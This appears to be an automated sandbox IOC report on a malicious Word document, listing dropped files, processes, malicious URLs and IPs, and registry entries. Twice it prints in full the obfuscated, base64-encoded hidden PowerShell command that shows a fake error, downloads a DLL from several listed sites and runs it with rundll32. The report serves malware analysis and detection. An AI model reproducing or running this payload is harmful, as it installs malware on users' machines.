IOCReport

loading gif

Files

File Path
Type
Category
Malicious
info_2020_NJY_31940448.doc
Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Subject: ADP Rubber Gorgeous Plastic Towels Buckinghamshire hard drive backing up orchid blue functionalities, Author: Clia Petit, Template: Normal.dotm, Last Saved By: Elisa Leclercq, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Dec 29 13:35:00 2020, Last Saved Time/Date: Tue Dec 29 13:36:00 2020, Number of Pages: 1, Number of Words: 2202, Number of Characters: 12554, Security: 8
initial sample
 malicious
C:\Users\user\Ygyhlqt\Bx5jfmo\R43H.dll
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A07B73A5-D643-47FF-B622-0CF30ED55516}.tmp
data
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
ASCII text, with CRLF line terminators
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\info_2020_NJY_31940448.LNK
MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:16 2020, mtime=Wed Aug 26 14:08:16 2020, atime=Wed Jan 13 23:31:41 2021, length=163328, window=hide
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
data
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DJ17GIRPUSXWYYEETPX6.temp
data
dropped
 clean
C:\Users\user\Desktop\~$fo_2020_NJY_31940448.doc
data
dropped
 clean

Processes

Path
Cmdline
Malicious
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
 malicious
C:\Windows\System32\cmd.exe
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD JAA2ADkAbQBEAFQANwAgACAAPQAgAFsAdAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAFIAJwAsACcAUwAnACwAJwBZACcALAAnAFkAUwB0AEUATQAuAEkATwAuAGQAaQBSAEUAYwBUAE8AJwApACAAOwAgACAAIAAkAHkAMQAwAEkAIAAgAD0AIABbAFQAeQBwAEUAXQAoACIAewA2AH0AewAzAH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewA1AH0AewA4AH0AewAwAH0AIgAtAGYAIAAnAGEARwBlAFIAJwAsACcAdAAuACcALAAnAEUAJwAsACcAWQBTAHQAJwAsACcATgBFACcALAAnAHMARQBSAHYAaQBDACcALAAnAHMAJwAsACcAbQAuACcALAAnAGUAUABvAGkAbgB0AG0AYQBuACcAKQA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpACcAKwAnAGwAZQBuAHQAbAB5ACcAKQArACgAJwBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQAnACkAKwAnAGUAJwApADsAJABQAHkAMABlAGIAagBpAD0AJABLADEAMgBPACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABQADYANQBaADsAJABYADkAMgBDAD0AKAAoACcAVQAnACsAJwBfADgAJwApACsAJwBSACcAKQA7ACAAIAAkADYAOQBNAGQAdAA3ADoAOgAiAEMAcgBgAGUAYQBUAGAARQBkAEkAUgBFAEMAdABvAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWgAnACsAKAAnAE0AJwArACcAUABZAGcAeQAnACsAJwBoACcAKQArACgAJwBsAHEAdABaACcAKwAnAE0AJwApACsAJwBQAEIAJwArACgAJwB4ACcAKwAnADUAagAnACkAKwAnAGYAJwArACgAJwBtAG8AWgBNACcAKwAnAFAAJwApACkALQBSAGUAcABsAGEAYwBFACgAWwBDAGgAYQBSAF0AOQAwACsAWwBDAGgAYQBSAF0ANwA3ACsAWwBDAGgAYQBSAF0AOAAwACkALABbAEMAaABhAFIAXQA5ADIAKQApADsAJABHADcANwBHAD0AKAAnAFgAOAAnACsAJwAwAFAAJwApADsAIAAkAHkAMQAwAEkAOgA6ACIAUwBlAEMAdQByAEkAdABgAHkAcAByAE8AYABUAE8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQASgAzADQASgA9ACgAKAAnAFoAMgAnACsAJwA4ACcAKQArACcATgAnACkAOwAkAFIAaQA2ADIAcwBvAGsAIAA9ACAAKAAnAFIANAAnACsAJwAzAEgAJwApADsAJABUADkAXwBJAD0AKAAnAEgANQAnACsAJwA4AEwAJwApADsAJABCAGgAbgB3AGUAOQAyAD0AJABIAE8ATQBFACsAKAAoACcATQBvACcAKwAoACcAUQBZAGcAJwArACcAeQAnACkAKwAoACcAaABsAHEAdABNAG8AUQAnACsAJwBCACcAKwAnAHgAJwApACsAKAAnADUAagBmAG0AJwArACcAbwBNACcAKwAnAG8AUQAnACkAKQAuACIAcgBgAEUAUABsAGAAQQBDAGUAIgAoACgAJwBNAG8AJwArACcAUQAnACkALABbAFMAVABSAGkATgBHAF0AWwBDAEgAQQByAF0AOQAyACkAKQArACQAUgBpADYAMgBzAG8AawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFcANQAwAFYAPQAoACcAWQAnACsAKAAnADcAOQAnACsAJwBZACcAKQApADsAJABPAGcAXwA0ADMAXwBtAD0AKAAnAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvAGEAbABsACcAKQArACgAJwBjAGEAJwArACcAbgBuAGEAYgBpACcAKwAnAHMAbQBlACcAKQArACgAJwBkACcAKwAnAHMALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB1ACcAKwAnAG4AcgAnACkAKwAoACcAYQBpAGQALQAnACsAJwBtAGEAcAAvAFoAJwArACcAWgAnACkAKwAoACcAbQAnACsAJwA2AC8AJwArACcAQABdAGIAJwApACsAKAAnADIAWwAnACsAJwBzACcAKQArACgAJwA6AC8ALwBnACcAKwAnAGkAJwArACcAYQBuACcAKQArACcAbgAnACsAKAAnAGEAJwArACcAcwBwAHMAeQAnACsAJwBjACcAKQArACcAaABpACcAKwAoACcAYwAnACsAJwBzAHQAdQAnACkAKwAoACcAZABpACcAKwAnAG8ALgBjAG8AbQAnACkAKwAoACcALwAnACsAJwBjAGcAaQAtACcAKQArACgAJwBiAGkAJwArACcAbgAvAFAAJwArACcAUAAvAEAAJwArACcAXQAnACkAKwAoACcAYgAnACsAJwAyAFsAcwA6ACcAKQArACcALwAvACcAKwAoACcAaQBlAG4AZwAnACsAJwBsAGkAcwBoACcAKwAnAGEAYgBjAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAGMAJwArACcAbwB3AC8AJwArACcASgBIAC8AQAAnACsAJwBdAGIAMgBbAHMAOgAvACcAKQArACcALwBhACcAKwAoACcAYgAnACsAJwByAGkAbAAnACkAKwAoACcAbABvAGYAJwArACcAdQAnACkAKwAoACcAcgBuAGkAdAAnACsAJwB1ACcAKQArACgAJwByACcAKwAnAGUALgBjACcAKQArACgAJwBvAG0ALwBiACcAKwAnAHAAaAAnACsAJwAtACcAKwAnAG4AYwBsAGUAeAAtAHcAeQAnACsAJwBnACcAKQArACgAJwBxACcAKwAnADQAJwArACcALwBhADcAbgBCACcAKQArACcAZgAnACsAKAAnAGgAcwAnACsAJwAvACcAKQArACcAQAAnACsAJwBdACcAKwAoACcAYgAyACcAKwAnAFsAJwApACsAKAAnAHMAJwArACcAcwA6AC8AJwArACcALwBlAHQAJwArACcAawAnACsAJwBpAG4AZABlAGQAJwApACsAKAAnAGUAawAnACsAJwB0AGkAZgBsAGkAawAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvAHAAYwAnACsAJwBpAGUALQBzACcAKwAnAHAAJwApACsAJwBlACcAKwAoACcAZQBkAC8AJwArACcAVQAvAEAAXQBiADIAWwAnACsAJwBzAHMAJwApACsAKAAnADoALwAvAHYAcwB0ACcAKwAnAHMAJwArACcAYQAnACkAKwAnAG0AcAAnACsAKAAnAGwAZQAnACsAJwAuAGMAbwBtAC8AdwBwAC0AJwArACcAaQBuAGMAbAAnACsAJwB1AGQAJwArACcAZQBzACcAKwAnAC8AJwArACcANwBlAFgAJwApACsAKAAnAGUASQAnACsAJwAvACcAKwAnAEAAXQBiADIAWwAnACkAKwAnAHMAOgAnACsAJwAvAC8AJwArACgAJwBlAHoAaQAnACsAJwAtAHAAbwBzAC4AYwAnACsAJwBvAG0ALwBjACcAKwAnAGEAdABlAGcAbwByAHkAJwArACcAbAAnACsAJwAvAHgALwAnACkAKQAuACIAcgBFAHAAbABBAGAAYwBlACIAKAAoACcAXQAnACsAKAAnAGIAJwArACcAMgBbAHMAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAnAGgAdAAnACsAJwB0AHAAJwApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAFMAYABQAGwASQBUACIAKAAkAFIANgA5AEsAIAArACAAJABQAHkAMABlAGIAagBpACAAKwAgACQAUQAzADMASQApADsAJABaADQANABTAD0AKAAoACcARAA4ACcAKwAnADcAJwApACsAJwBPACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVQBqAHQAcwBwAGUAaAAgAGkAbgAgACQATwBnAF8ANAAzAF8AbQApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3ACcAKwAnAC0ATwBiACcAKwAnAGoAZQBjAHQAJwApACAAUwB5AFMAdABFAG0ALgBuAGUAVAAuAHcAZQBCAEMAbABJAEUAbgB0ACkALgAiAGQAYABPAFcATgBMAG8AYQBkAEYAaQBgAGwARQAiACgAJABVAGoAdABzAHAAZQBoACwAIAAkAEIAaABuAHcAZQA5ADIAKQA7ACQAWAA3ADAAQgA9ACgAJwBPACcAKwAoACcANAAnACsAJwAwAEgAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAQgBoAG4AdwBlADkAMgApAC4AIgBsAGAAZQBuAGcAVABoACIAIAAtAGcAZQAgADMANwA2ADUAMgApACAAewAmACgAJwByAHUAJwArACcAbgBkACcAKwAnAGwAbAAzADIAJwApACAAJABCAGgAbgB3AGUAOQAyACwAKAAnAEMAJwArACcAbwBuACcAKwAnAHQAJwArACgAJwByAG8AJwArACcAbAAnACsAJwBfAFIAdQBuACcAKQArACgAJwBEACcAKwAnAEwATAAnACkAKQAuACIAVABvAGAAUwBUAHIASQBgAE4AZwAiACgAKQA7ACQATQA0ADcAVwA9ACgAJwBBADcAJwArACcAMQBKACcAKQA7AGIAcgBlAGEAawA7ACQARwA1ADIASgA9ACgAKAAnAEMAJwArACcAMgAwACcAKQArACcAQwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEIAMwAzAFQAPQAoACcAUQA5ACcAKwAnADYAVAAnACkA
malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
POwersheLL -w hidden -ENCOD JAA2ADkAbQBEAFQANwAgACAAPQAgAFsAdAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAFIAJwAsACcAUwAnACwAJwBZACcALAAnAFkAUwB0AEUATQAuAEkATwAuAGQAaQBSAEUAYwBUAE8AJwApACAAOwAgACAAIAAkAHkAMQAwAEkAIAAgAD0AIABbAFQAeQBwAEUAXQAoACIAewA2AH0AewAzAH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewA1AH0AewA4AH0AewAwAH0AIgAtAGYAIAAnAGEARwBlAFIAJwAsACcAdAAuACcALAAnAEUAJwAsACcAWQBTAHQAJwAsACcATgBFACcALAAnAHMARQBSAHYAaQBDACcALAAnAHMAJwAsACcAbQAuACcALAAnAGUAUABvAGkAbgB0AG0AYQBuACcAKQA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpACcAKwAnAGwAZQBuAHQAbAB5ACcAKQArACgAJwBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQAnACkAKwAnAGUAJwApADsAJABQAHkAMABlAGIAagBpAD0AJABLADEAMgBPACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABQADYANQBaADsAJABYADkAMgBDAD0AKAAoACcAVQAnACsAJwBfADgAJwApACsAJwBSACcAKQA7ACAAIAAkADYAOQBNAGQAdAA3ADoAOgAiAEMAcgBgAGUAYQBUAGAARQBkAEkAUgBFAEMAdABvAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWgAnACsAKAAnAE0AJwArACcAUABZAGcAeQAnACsAJwBoACcAKQArACgAJwBsAHEAdABaACcAKwAnAE0AJwApACsAJwBQAEIAJwArACgAJwB4ACcAKwAnADUAagAnACkAKwAnAGYAJwArACgAJwBtAG8AWgBNACcAKwAnAFAAJwApACkALQBSAGUAcABsAGEAYwBFACgAWwBDAGgAYQBSAF0AOQAwACsAWwBDAGgAYQBSAF0ANwA3ACsAWwBDAGgAYQBSAF0AOAAwACkALABbAEMAaABhAFIAXQA5ADIAKQApADsAJABHADcANwBHAD0AKAAnAFgAOAAnACsAJwAwAFAAJwApADsAIAAkAHkAMQAwAEkAOgA6ACIAUwBlAEMAdQByAEkAdABgAHkAcAByAE8AYABUAE8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQASgAzADQASgA9ACgAKAAnAFoAMgAnACsAJwA4ACcAKQArACcATgAnACkAOwAkAFIAaQA2ADIAcwBvAGsAIAA9ACAAKAAnAFIANAAnACsAJwAzAEgAJwApADsAJABUADkAXwBJAD0AKAAnAEgANQAnACsAJwA4AEwAJwApADsAJABCAGgAbgB3AGUAOQAyAD0AJABIAE8ATQBFACsAKAAoACcATQBvACcAKwAoACcAUQBZAGcAJwArACcAeQAnACkAKwAoACcAaABsAHEAdABNAG8AUQAnACsAJwBCACcAKwAnAHgAJwApACsAKAAnADUAagBmAG0AJwArACcAbwBNACcAKwAnAG8AUQAnACkAKQAuACIAcgBgAEUAUABsAGAAQQBDAGUAIgAoACgAJwBNAG8AJwArACcAUQAnACkALABbAFMAVABSAGkATgBHAF0AWwBDAEgAQQByAF0AOQAyACkAKQArACQAUgBpADYAMgBzAG8AawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFcANQAwAFYAPQAoACcAWQAnACsAKAAnADcAOQAnACsAJwBZACcAKQApADsAJABPAGcAXwA0ADMAXwBtAD0AKAAnAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvAGEAbABsACcAKQArACgAJwBjAGEAJwArACcAbgBuAGEAYgBpACcAKwAnAHMAbQBlACcAKQArACgAJwBkACcAKwAnAHMALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB1ACcAKwAnAG4AcgAnACkAKwAoACcAYQBpAGQALQAnACsAJwBtAGEAcAAvAFoAJwArACcAWgAnACkAKwAoACcAbQAnACsAJwA2AC8AJwArACcAQABdAGIAJwApACsAKAAnADIAWwAnACsAJwBzACcAKQArACgAJwA6AC8ALwBnACcAKwAnAGkAJwArACcAYQBuACcAKQArACcAbgAnACsAKAAnAGEAJwArACcAcwBwAHMAeQAnACsAJwBjACcAKQArACcAaABpACcAKwAoACcAYwAnACsAJwBzAHQAdQAnACkAKwAoACcAZABpACcAKwAnAG8ALgBjAG8AbQAnACkAKwAoACcALwAnACsAJwBjAGcAaQAtACcAKQArACgAJwBiAGkAJwArACcAbgAvAFAAJwArACcAUAAvAEAAJwArACcAXQAnACkAKwAoACcAYgAnACsAJwAyAFsAcwA6ACcAKQArACcALwAvACcAKwAoACcAaQBlAG4AZwAnACsAJwBsAGkAcwBoACcAKwAnAGEAYgBjAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAGMAJwArACcAbwB3AC8AJwArACcASgBIAC8AQAAnACsAJwBdAGIAMgBbAHMAOgAvACcAKQArACcALwBhACcAKwAoACcAYgAnACsAJwByAGkAbAAnACkAKwAoACcAbABvAGYAJwArACcAdQAnACkAKwAoACcAcgBuAGkAdAAnACsAJwB1ACcAKQArACgAJwByACcAKwAnAGUALgBjACcAKQArACgAJwBvAG0ALwBiACcAKwAnAHAAaAAnACsAJwAtACcAKwAnAG4AYwBsAGUAeAAtAHcAeQAnACsAJwBnACcAKQArACgAJwBxACcAKwAnADQAJwArACcALwBhADcAbgBCACcAKQArACcAZgAnACsAKAAnAGgAcwAnACsAJwAvACcAKQArACcAQAAnACsAJwBdACcAKwAoACcAYgAyACcAKwAnAFsAJwApACsAKAAnAHMAJwArACcAcwA6AC8AJwArACcALwBlAHQAJwArACcAawAnACsAJwBpAG4AZABlAGQAJwApACsAKAAnAGUAawAnACsAJwB0AGkAZgBsAGkAawAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvAHAAYwAnACsAJwBpAGUALQBzACcAKwAnAHAAJwApACsAJwBlACcAKwAoACcAZQBkAC8AJwArACcAVQAvAEAAXQBiADIAWwAnACsAJwBzAHMAJwApACsAKAAnADoALwAvAHYAcwB0ACcAKwAnAHMAJwArACcAYQAnACkAKwAnAG0AcAAnACsAKAAnAGwAZQAnACsAJwAuAGMAbwBtAC8AdwBwAC0AJwArACcAaQBuAGMAbAAnACsAJwB1AGQAJwArACcAZQBzACcAKwAnAC8AJwArACcANwBlAFgAJwApACsAKAAnAGUASQAnACsAJwAvACcAKwAnAEAAXQBiADIAWwAnACkAKwAnAHMAOgAnACsAJwAvAC8AJwArACgAJwBlAHoAaQAnACsAJwAtAHAAbwBzAC4AYwAnACsAJwBvAG0ALwBjACcAKwAnAGEAdABlAGcAbwByAHkAJwArACcAbAAnACsAJwAvAHgALwAnACkAKQAuACIAcgBFAHAAbABBAGAAYwBlACIAKAAoACcAXQAnACsAKAAnAGIAJwArACcAMgBbAHMAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAnAGgAdAAnACsAJwB0AHAAJwApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAFMAYABQAGwASQBUACIAKAAkAFIANgA5AEsAIAArACAAJABQAHkAMABlAGIAagBpACAAKwAgACQAUQAzADMASQApADsAJABaADQANABTAD0AKAAoACcARAA4ACcAKwAnADcAJwApACsAJwBPACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVQBqAHQAcwBwAGUAaAAgAGkAbgAgACQATwBnAF8ANAAzAF8AbQApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3ACcAKwAnAC0ATwBiACcAKwAnAGoAZQBjAHQAJwApACAAUwB5AFMAdABFAG0ALgBuAGUAVAAuAHcAZQBCAEMAbABJAEUAbgB0ACkALgAiAGQAYABPAFcATgBMAG8AYQBkAEYAaQBgAGwARQAiACgAJABVAGoAdABzAHAAZQBoACwAIAAkAEIAaABuAHcAZQA5ADIAKQA7ACQAWAA3ADAAQgA9ACgAJwBPACcAKwAoACcANAAnACsAJwAwAEgAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAQgBoAG4AdwBlADkAMgApAC4AIgBsAGAAZQBuAGcAVABoACIAIAAtAGcAZQAgADMANwA2ADUAMgApACAAewAmACgAJwByAHUAJwArACcAbgBkACcAKwAnAGwAbAAzADIAJwApACAAJABCAGgAbgB3AGUAOQAyACwAKAAnAEMAJwArACcAbwBuACcAKwAnAHQAJwArACgAJwByAG8AJwArACcAbAAnACsAJwBfAFIAdQBuACcAKQArACgAJwBEACcAKwAnAEwATAAnACkAKQAuACIAVABvAGAAUwBUAHIASQBgAE4AZwAiACgAKQA7ACQATQA0ADcAVwA9ACgAJwBBADcAJwArACcAMQBKACcAKQA7AGIAcgBlAGEAawA7ACQARwA1ADIASgA9ACgAKAAnAEMAJwArACcAMgAwACcAKQArACcAQwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEIAMwAzAFQAPQAoACcAUQA5ACcAKwAnADYAVAAnACkA
 malicious
C:\Windows\System32\rundll32.exe
'C:\Windows\system32\rundll32.exe' C:\Users\user\Ygyhlqt\Bx5jfmo\R43H.dll Control_RunDLL
 malicious
C:\Windows\SysWOW64\rundll32.exe
'C:\Windows\system32\rundll32.exe' C:\Users\user\Ygyhlqt\Bx5jfmo\R43H.dll Control_RunDLL
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Slimgulabo\vhtbjtkrz.lpr',Control_RunDLL
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bvjuzxolryfk\tucwdqbdtfe.wnx',Control_RunDLL
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bsmdm\ghwk.vcj',Control_RunDLL
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Anheubolw\yblyupae.she',Control_RunDLL
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bwaqczxvcucs\mfqhcresmvq.yyb',Control_RunDLL
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Vvkklg\owmtf.xpy',Control_RunDLL
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Eqlmzzdzvxl\jxrtnvzlrw.xix',Control_RunDLL
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qjhyis\vvyps.icm',Control_RunDLL
 malicious
C:\Windows\System32\msg.exe
msg user /v Word experienced an error trying to open the file.
clean
There are 4 hidden processes, click here to show them.

URLs

Name
IP
Malicious
http://ezi-pos.com/categoryl/x/
unknown
 malicious
http://allcannabismeds.com/unraid-map/ZZm6/
35.208.69.64
 malicious
https://etkindedektiflik.com/pcie-speed/U/
unknown
 malicious
http://ienglishabc.com/cow/JH/
unknown
 malicious
http://allcannabismeds.com
unknown
 malicious
http://giannaspsychicstudio.com/cgi-bin/PP/
unknown
 malicious
http://abrillofurniture.com/bph-nclex-wygq4/a7nBfhs/
unknown
 malicious
https://vstsample.com/wp-includes/7eXeI/
unknown
 malicious
http://152.170.79.100/tkvop2zz2se/0vkwo/
152.170.79.100
 malicious
http://www.windows.com/pctv.
unknown
 clean
http://investor.msn.com
unknown
 clean
http://www.msnbc.com/news/ticker.txt
unknown
 clean
http://wellformedweb.org/CommentAPI/
unknown
 clean
http://www.iis.fhg.de/audioPA
unknown
 clean
http://windowsmedia.com/redir/services.asp?WMPFriendly=true
unknown
 clean
http://www.hotmail.com/oe
unknown
 clean
http://treyresearch.net
unknown
 clean
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
unknown
 clean
http://www.icra.org/vocabulary/.
unknown
 clean
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
unknown
 clean
http://investor.msn.com/
unknown
 clean
http://www.piriform.com/ccleanerhttp:
unknown
 clean
http://www.piriform.com/ccleaner
unknown
 clean
http://computername/printers/printername/.printer
unknown
 clean
http://www.%s.comPA
unknown
 clean
There are 15 hidden URLs, click here to show them.

Domains

Name
IP
Malicious
allcannabismeds.com
35.208.69.64
 malicious

IPs

IP
Domain
Country
Active
Malicious
152.170.79.100
unknown
Argentina
unknown
 malicious
35.208.69.64
unknown
United States
unknown
 malicious

Registry

Path
Value
Malicious
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
i7
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
'k7
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
l7
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
VBAFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ReviewToken
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
EE1C7
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Arial Unicode MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Batang
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@BatangChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@DFKai-SB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Dotum
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@DotumChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@FangSong
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Gulim
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@GulimChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Gungsuh
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@GungsuhChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@KaiTi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Malgun Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Meiryo
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Meiryo UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Microsoft JhengHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Microsoft YaHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU_HKSCS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU_HKSCS-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS Mincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS PGothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS PMincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS UI Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@NSimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@PMingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@PMingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimSun-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Agency FB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Aharoni
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Algerian
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Andalus
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Angsana New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
AngsanaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Aparajita
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arabic Typesetting
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Black
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Narrow
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Rounded MT Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Unicode MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Baskerville Old Face
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Batang
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
BatangChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bauhaus 93
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bell MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Berlin Sans FB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Berlin Sans FB Demi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bernard MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Blackadder ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Black
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Poster Compressed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
